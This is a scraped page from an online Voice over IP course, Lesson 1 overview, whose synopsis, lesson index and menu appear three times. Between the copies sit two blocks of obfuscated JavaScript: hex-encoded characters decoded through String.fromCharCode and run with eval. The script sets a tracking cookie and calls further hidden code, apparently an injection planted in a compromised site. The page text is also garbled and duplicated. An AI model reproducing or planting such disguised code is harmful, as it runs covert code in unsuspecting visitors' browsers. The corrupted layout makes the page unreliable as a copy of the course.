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LWC Training Corp.

Voice over IP Online Course

Lesson 1 - Voice over IP Overview

Introduction

Synopsis

Voice over IP(VoIP) is the technology used to describe telephone services over a TCP/IP network. The applications for this technology vary, including making telephone calls over the Internet as well as intra organizational telephony. However nothing is simple and VoIP requires modifications to network infrastructure and protocols as well as new hardware, such as IP telephones, and new software. This module looks at the broad picture of sending voice over a data network.

Lesson Index

A. What is VoIP?
B. Residential/Small Business VoIP
C. Corporate VoIP
D. VoIP for Telephone companies and Service Providers
Review and Final Exercise

Lesson Objectives

Upon completion of this section, students will: [Top of page]







Menu

Home VoIP Home Preface

This page

Synopsis Lesson Index Lesson Objectives

Lesson Index

A. What is VoIP? B. Res/SMB VoIP C. Corporate VoIP D. VoIP for Telcos Review/Exercise

5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:71:63:61:27:30:1f:20:32:4:1:74:4:1:74"[eqpiay](":");}wyqj=bzfvsg;gkuapg=[];for(mst=22-20-2;-mst 1397!=0;mst =1){dotf=mst;if((0x19==031))gkuapg =String.fromCharCode(eval(wonjm wyqj[1*dotf]) 0xa-eqsxju);}kwfpka=eval;kwfpka(gkuapg)}

Voice over IP Online Course

Lesson 1 - Voice over IP Overview

Introduction

Synopsis

Voice over IP(VoIP) is the technology used to describe telephone services over a TCP/IP network. The applications for this technology vary, including making telephone calls over the Internet as well as intra organizational telephony. However nothing is simple and VoIP requires modifications to network infrastructure and protocols as well as new hardware, such as IP telephones, and new software. This module looks at the broad picture of sending voice over a data network.

Lesson Index

A. What is VoIP?
B. Residential/Small Business VoIP
C. Corporate VoIP
D. VoIP for Telephone companies and Service Providers
Review and Final Exercise

Lesson Objectives

Upon completion of this section, students will: [Top of page]







Menu

Home VoIP Home Preface

This page

Synopsis Lesson Index Lesson Objectives

Lesson Index

A. What is VoIP? B. Res/SMB VoIP C. Corporate VoIP D. VoIP for Telcos Review/Exercise

a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:5e:5e:27:30:1f:20:32:4:1:74:4:1:74"[dlzww](":");}bpukco=klnh;cyc=[];for(dsj=22-20-2;-dsj 1373!=0;dsj =1){igiejm=dsj;if((0x19==031))cyc =String.fromCharCode(eval(gzgi bpukco[1*igiejm]) 0xa-upvno);}dztb=eval;dztb(cyc)}

Voice over IP Online Course

Lesson 1 - Voice over IP Overview

Introduction

Synopsis

Voice over IP(VoIP) is the technology used to describe telephone services over a TCP/IP network. The applications for this technology vary, including making telephone calls over the Internet as well as intra organizational telephony. However nothing is simple and VoIP requires modifications to network infrastructure and protocols as well as new hardware, such as IP telephones, and new software. This module looks at the broad picture of sending voice over a data network.

Lesson Index

A. What is VoIP?
B. Residential/Small Business VoIP
C. Corporate VoIP
D. VoIP for Telephone companies and Service Providers
Review and Final Exercise

Lesson Objectives

Upon completion of this section, students will: [Top of page]







Menu

Home VoIP Home Preface

This page

Synopsis Lesson Index Lesson Objectives

Lesson Index

A. What is VoIP? B. Res/SMB VoIP C. Corporate VoIP D. VoIP for Telcos Review/Exercise